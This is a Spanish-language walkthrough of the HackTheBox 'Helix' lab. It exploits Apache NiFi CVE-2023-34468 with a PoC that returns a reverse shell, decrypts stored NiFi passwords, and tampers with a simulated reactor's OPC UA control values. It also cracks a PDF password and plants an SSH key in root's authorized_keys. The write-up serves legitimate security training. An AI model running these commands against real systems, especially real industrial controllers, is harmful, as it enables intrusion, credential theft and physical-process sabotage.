↓ Ir al contenido
  1. Writeups/

HackTheBox - Helix

·12 mins
Tabla de contenido
  • Dificultad: medium
  • Tiempo aprox. 9h (por pasarme 3 sin ver la clave privada de operator)
  • Datos Iniciales: 10.129.7.166

Enumeración
#

Hacemos un escaneo de puertos, encontramos lo siguiente:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ sudo nmap -sT -Pn -p- 10.129.7.166 # Indica puertos 22,80
$ sudo nmap -sT -Pn -p22,80 10.129.7.166 -sVC # Indica Did not follow redirect to http://helix.htb/. Lo añadimos a /etc/hosts

$ sudo nmap -sT -Pn -p22,80 helix.htb -sVC
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Helix Industries | Industrial Automation & Critical Infrastruc...
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nada importante en UDP

Además, como se nos ha indicado que Nginx sirve páginas distintas en función del dominio solicitado, probamos a enumerar subdominios.

1
2
3
4
5
6
$ gobuster vhost --url http://helix.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad                    
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
flow.helix.htb Status: 200 [Size: 1068]

Y apuntamos y añadimos a /etc/hosts el subdominio flow.helix.htb.

HTTP
#

Dominio Principal
#

Al entrar, encontramos una página que ofrece tecnologías e infraestructuras para sistemas industriales.

De entre todos los botones, el único que hace algo diferente es START A PROJECT.

Si le damos, se muestra una ventana en la que tenemos que introducir un resumen del proyecto, y luego pulsar SEND BRIEF para enviarlo. Si analizamos qué pasa al hacer esto en BurpSuite, vemos que no se manda nada, ni una solicitud http, así que hay que no hay mucho más que podamos hacer.

Subdominio flow
#

Al entrar a flow.helix.htb se nos redirige a /nifi. Al parecer, es un panel que permite crear un flujo de trabajo personalizado.

Si pulsamos el botón superior derecho (3 rayas), y pulsamos en About, veremos lo siguiente:

Apache NiFi is a framework to support highly scalable and flexible dataflows. It can be run on laptops up through clusters of enterprise class servers. Instead of dictating a particular dataflow or behavior it empowers you to design your own optimal dataflow tailored to your specific environment.

La versión en uso es la 1.21.0, y si la buscamos:

También encontramos un exploit para esta vulnerabilidad, aunque puede hacerse manualmente configurando drivers y nodos en la web.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
$ python3 CVE-2023-34468_poc.py --target flow.helix.htb --lhost 10.10.16.82 --lport 4444 --http-port 80 --cleanup
[*] Target: http://flow.helix.htb | LHOST: 10.10.16.82:4444 | HTTP: 80
[*] HTTP server up on :80
[*] Checking access...
[+] Identity: anonymous | Anonymous: True | canWrite: True
[+] Target is exploitable
[*] Getting root process group ID...
[+] PG ID: f203bc07-019b-1000-516b-eaedd48609d1
[*] Creating DBCPConnectionPool...
[+] CS ID: 832758cb-019e-1000-42e9-524253fba4fd
[*] Enabling controller service...
[+] Controller service enabled
[*] Creating ExecuteSQL processor...
[+] Processor ID: 83276287-019e-1000-783d-293addfabf57
[*] Starting processor...
[+] Processor running — waiting for shell on port 4444...
[+] rce.sql delivered to target

Y desde el listener:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ penelope -i 10.10.16.82        
[+] Listening for reverse shells on 10.10.16.82:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from helix~10.129.7.166-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/kali/.penelope/sessions/helix~10.129.7.166-Linux-x86_64/2026_06_01-08_27_41-461.log 📜
────────────────────────────────────────────────────────────────────────────────────────────
nifi@helix:/opt/nifi-1.21.0$

Privesc
#

Aparecemos en el directorio /opt/nifi-1.21.0 como nifi. Si miramos qué otros usuarios hay en el sistema, veremos que el único otro con shell y que no es root es operator.

Contraseña cifrada
#

El flujo de trabajo ya tenía configurada una base de datos, y para conectarse a esa base de datos haría falta una contraseña, o al menos para tener una cuenta en Nifi. Tal contraseña debería estar almacenada en algún sitio en los archivos de configuración.

Si buscamos en Google dónde puede estar, vemos que es posible que esté en conf/flow.json.gz (o flow.xml.gz).

Si descomprimimos flow.json.gz y echamos un vistazo, encontramos lo siguiente:

1
2
3
4
5
nifi@helix:/tmp/test$ cat flow.json 
{"encodingVersion":{"majorVersion":2,"minorVersion":0},"maxTimerDrivenTh...
...[SNIP]...
"Password":"enc{4483432ee0de187bdd9ec7deb7312fc37561b1a251c1ddfdbf56b90874bc5fbdead30dc0abef9a2957e177e26556a61d26b0}"}
...[SNIP]...

Tenemos una contraseña cifrada de 100 caracteres. El problema es que no es ningún hash estándar, tenemos que encontrar cómo cifra Nifi las contraseñas.

Si miramos en conf/nifi.properties:

1
2
3
4
5
$ cat nifi.properties | grep nifi.sensitive
nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl
nifi.sensitive.props.key.protected=
nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256
nifi.sensitive.props.additional.keys=

Al parecer se usa el cifrado simétrico NIFI_PBKDF2_AES_GCM_256. Tras una búsqueda, veo que con la clave nifi.sensitive.props.key es posible descifrar la contraseña.

Un script (encrypt-config.sh) que proporciona el código fuente de Nifi permite descifrar y cifrar de nuevo a partir de los archivos bootstrap.conf y flow.xml.gz y de la contraseña. El script está disponible en el toolkit de la versión 1.21.0. El problema es que este script no muestra la contraseña descifrada, pero podemos usar un script que sigue el mismo proceso.

Primero hay que derivar la clave PBKDF2, para ello se usa HMAC-SHA-512, se aplican 160.000 iteraciones y se usa un salt hardcodeado de Nifi: NiFi Static Salt.

Luego, NiFi genera un nonce de 16 bytes y cifra la contraseña en texto plano usando AES-GCM con la clave derivada anterior y el nonce.

Y para acabar, se calcula un tag de integridad de otros 16 bytes. Finalmente, se concatena todo de la siguiente manera:

1
enc{nonce_16_bytes + texto_cifrado_hex (long_variable) + tag_integridad_16_bytes}

Si usamos un script que deshaga esto:

1
2
$ python3 decrypt.py
contraseña descifrada: R7qZ9L3xKM2W8pFYcA

Y tenemos la contraseña R7qZ9L3xKM2W8pFYcA, aunque si la probamos con cualquier usuario (operator, root o nifi) veremos que no funciona. De todas formas, puede servirnos más adelante.

Puertos en local
#

Si miramos puertos en escucha:

1
2
3
4
5
6
nifi@helix:/tmp$ ss -tunlp | grep 127.0.0.1
tcp   LISTEN 0      100             127.0.0.1:4840       0.0.0.0:*                                   
tcp   LISTEN 0      50              127.0.0.1:38733      0.0.0.0:*    users:(("java",pid=1090,fd=79))
tcp   LISTEN 0      50              127.0.0.1:8080       0.0.0.0:*    users:(("java",pid=1090,fd=41))
tcp   LISTEN 0      128             127.0.0.1:8081       0.0.0.0:*                                   
tcp   LISTEN 0      50     [::ffff:127.0.0.1]:39831            *:*    users:(("java",pid=1008,fd=57))

El 38733 y el 39831 no devuelven nada, y el 8080 es Nifi hosteado en localhost también.

Los únicos que quedan y que no son del user java son el 8081 y el 4840.

Si probamos con el 4840, veremos que no devuelve nada, da timeout. Así que el único restante es el 8081.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
nifi@helix:/tmp$ curl localhost:8081

<!doctype html><html><head>
<title>Helix HMI — Reactor Panel</title>
<style>
body
... [SNIP]...
small{opacity:.75}
hr{border:0;border-top:1px solid #233045;margin:12px 0}
</style></head><body>
<h1>Helix Industries — Reactor HMI</h1>
<small>Maintenance window is NOT the same as MAINTENANCE mode. Window opens only when safety controller authorizes it under hazardous test conditions.</small>
<hr>
...
<p><small>OPC UA (internal): <code>opc.tcp://127.0.0.1:4840/helix/</code></small></p>
...

Al parecer es el panel de control de un reactor. Para acceder al puerto 8081 tenemos que hacer local port forwarding, y como no tenemos credenciales SSH ni podemos crear claves porque el directorio $HOME de nifi no existe, tenemos que usar socat.

Si subimos el binario de kali, al intentar ejecutarlo veremos que no están las librerías necesarias:

1
2
3
nifi@helix:/tmp/cosa$ ./socat TCP4-LISTEN:4444,fork,reuseaddr TCP4:127.0.0.1:8081
./socat: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.42' not found (required by ./socat)
./socat: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by ./socat)

Así que necesitamos un binario linkado estáticamente, como este.

Ahora sí lo ejecutamos y funciona:

1
2
nifi@helix:/tmp/cosa$ ./socat TCP4-LISTEN:4446,fork,reuseaddr TCP4:127.0.0.1:8081 &
# No dice nada, eso es que funciona.

Ahora vamos a helix.htb:4446:

Vemos que se trata del panel de control (HMI, Interfaz Humano-Máquina) de un reactor de fusión nuclear. Además, pone “Maintenance window is NOT the same as MAINTENANCE mode. Window opens only when safety controller authorizes it under hazardous test conditions.”. No sabemos qué es el modo mantenimiento, pero es posible que nos sea de utilidad llegar a él. Se indica que tal modo privilegiado (en la ventana de abajo) se activa cuando la temperatura es mayor o igual a 295ºC o la presión es mayor o igual a 73 bar.

OPC UA
#

Se nos indica la url opc.tcp://127.0.0.1:4840/helix/ para acceder al “OPC UA”, que no tengo ni idea de qué es, así que lo buscamos.

Tras una búsqueda, veo esto:

OPC UA es el estándar de comunicación más usado en la industria real (fábricas, centrales eléctricas, robótica). Es el idioma común que permite que sensores, PLCs y paneles de control hablen entre sí.

El prefijo opc.tcp indica que se usa un protocolo binario dedicado más rápido que HTTP para mandar datos. En esta máquina, el panel de control se conecta por detrás al servidor OPC UA para recibir los datos de control que muestra.

Además, los servidores OPC UA no tienen rutas como un servidor HTTP, sino que usan un árbol de nodos. Para visualizar e interactuar con dicho árbol, una herramienta gráfica útil es UaExpert, pero para descargarla hay que crear una cuenta en Unified Automation, y me da pereza, así que una alternativa es FreeOpcUa Client (opcua-client), gratis y de código abierto.

Dicho esto, port-forwardeamos el puerto 4840:

1
./socat TCP4-LISTEN:4841,fork,reuseaddr TCP4:127.0.0.1:4840 &

Y ahora, descargamos y abrimos opcua-client:

1
2
3
4
5
6
$ pip install opcua-client
...
Installing collected packages: sortedcontainers,...[snip]... opcua-client
Successfully installed PyQt5-5.15.11 ...[snip]... typing-extensions-4.15.0

$ opcua-client

Y se abrirá lo siguiente:

Ahora ponemos opc.tcp://helix.htb:4841/helix/ y pulsamos en Connect, veremos lo siguiente:

Para activar el modo emergencia, podemos poner, como indicaba la página, TestOverride a true (en Root -> Objects -> Plant -> Control) para intentar conseguir el modo test.

Podríamos intentar modificar la temperatura o la presión, pero además de no tener permisos, los sensores reales sobrescriben este valor todo el rato, así que no duraría mucho. Ahora bien, si nos fijamos, vemos que el primer elemento de Reactor es CalibrationOffset, y en el panel del reactor parece indicarse que la temperatura actual se calcula como la suma de TemperatureRaw (no modificable) y CalibrationOffset (a 0 normalmente, modificable). Si cambiamos este segundo para que Temperature supere los 295ºC, podremos conseguir acceso a la ventana privilegiada.

Para ello, lo ponemos a, p.ej, 15ºC.

El problema es que aún habiendo cambiado esto, seguimos sin poder acceder a la ventana:

Tenemos que poner MODE en “MAINTENANCE`, como se nos indicaba en el texto de la página. Una vez puesto, tenemos lo siguiente:

Aunque ponga open, no aparece nada en la ventana.

Si nos fijamos, cuando la ventana estaba cerrada, ponía: “No maintenance window file present.”, así que posiblemente tengamos que colocar un archivo en algún lugar para que se muestre aquí, tal lugar podría ser /opt/helix. El problema de esto es que no tenemos permisos de escritura (ni de lectura) ahí, así que de algún modo tenemos que conseguirlos.

Buscando credenciales
#

Pasadas varias (muchas) horas intentando descifrar de otras formas la contraseña conseguida antes (por si lo había hecho mal, porque no era muy fácil encontrar cómo cifraba/descifraba las contraseñas NiFi) y buscando posibles formas de conseguir la contraseña de operator manualmente, me doy por vencido y ejecuto LinPEAS.

Encuentra varias cosas:

1
2
3
4
5
Active timers:
NEXT                        LEFT          LAST                        PASSED              UNIT                           ACTIVATES
Tue 2026-06-02 14:33:23 UTC 4min 24s left Tue 2026-06-02 14:28:23 UTC 35s ago             helix-cleanup.timer            helix-cleanup.service
...
Services with writable paths? . nifi.service: /opt/nifi-1.21.0/bin/nifi.sh (from ExecStart=/opt/nifi-1.21.0/bin/nifi.sh start)

Pero ninguna relevante. Pasado todavía más rato, pruebo a buscar backups, logs, claves ssh, etc.:

1
2
3
nifi@helix:/opt/nifi-1.21.0$ find / -iname "*id_*" 2>/dev/null | grep -iE 'rsa|ed25519'
/usr/src/linux-headers-5.15.0-164-generic/include/config/HID_CORSAIR
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak

Y encontramos la clave SSH de operator. La copiamos y pegamos:

1
2
3
4
5
6
$ ssh operator@helix.htb -i operatorkey 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
...

Last login: Tue Jun 2 14:56:14 2026 from 10.10.16.82
operator@helix:~$

Volviendo como operator
#

Ahora que somos operator, primero echamos un vistazo en nuestro directorio /home. Ahí encontramos una imagen que explica el funcionamiento de OPC UA del reactor (que nosotros ya habíamos deducido).

También encontramos un pdf que nos pide contraseña, así que lo pasamos a john para ver si es posible crackearla.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ scp -i operatorkey operator@helix.htb:"/home/operator/Operator\ Control\ &\ Safety\ Guide.pdf" ./op.pdf     
Operator Control & Safety Guide.pdf

$ pdf2john op.pdf > hash

$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
operator1        (op.pdf)     
1g 0:00:00:23 DONE (2026-06-02 11:07) 0.04222g/s 11156p/s 11156c/s 11156C/s orphee..nsyncrox
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.

Y tenemos la contraseña operator1 para el pdf. Tras verlo, es simplemente un manual de cómo funciona todo el mecanismo del reactor y que explica cómo activar el modo mantenimiento. No dice nada nuevo.

Dentro del directorio /home de operator, también encontramos una serie de binarios para interactuar con OPC UA en .local/bin

1
2
operator@helix:~/.local/bin$ ls
uabrowse  uacall  uaclient  uadiscover  uageneratestructs  uahistoryread  uals  uaread  uaserver  uasubscribe  uawrite

Pero parecen servir para lo mismo para lo que usábamos opcua-client.

Si ejecutamos sudo -l:

1
2
3
4
5
6
operator@helix:/$ sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

helix-maint-console, la consola de mantenimiento de helix, y podemos ejecutarla como root, mediante la que posiblemente consigamos escalar privilegios. Ahora que sabemos esto, sí que tiene un propósito definido el activar el modo mantenimiento.

Vamos a opcua-client y activamos todo, Mode:MAINTENANCE, TestOverride:True, CalibrationOffset:14.

Ahora ejecutamos la consola de mantenimiento:

1
2
3
4
5
operator@helix:/$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 106 seconds
[!] Session will be terminated automatically
root@helix:/# 

Pero al parecer el shell morirá automáticamente en 100 segundos, así que rápidamente creamos un vector de escalada estable, como copiar el authorized_keys de operator al de root para poder iniciar sesión con la clave privada de operator:

1
2
3
4
root@helix:/# cat /home/operator/.ssh/authorized_keys >> ~/.ssh/authorized_keys

... # Nos saca de la sesión poco después
root@helix:/# /usr/local/sbin/helix-maint-console: line 36: 103789 Killed                  systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes /bin/bash -p -i

Ahora, desde nuestra máquina:

1
2
3
4
5
6
$ ssh root@helix.htb -i operatorkey 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
...

Last login: Tue Jun 2 15:43:14 2026 from 10.10.16.82
root@helix:~#

Y, finalmente, tenemos root.

Relacionados

HackTheBox - SmartHire

·10 mins
OS: Linux | Dificultad: Medium | Conceptos: Subdominio, Machine Learning, Python Privesc, .pth

HackTheBox - Pterodactyl

·24 mins
OS: Linux | Dificultad: Medium | Conceptos: Pterodactyl Server Manager, CVE Público, Redis, MySQL, Trivy, UDisks2

HackTheBox - Snapped

·12 mins
OS: Linux | Dificultad: Hard | Conceptos: Enum. de subdominios, Nginx UI Backup Manipulation, Extracción de credenciales, Bcrypt Cracking, TOCTOU Race Condition, Snapd LPE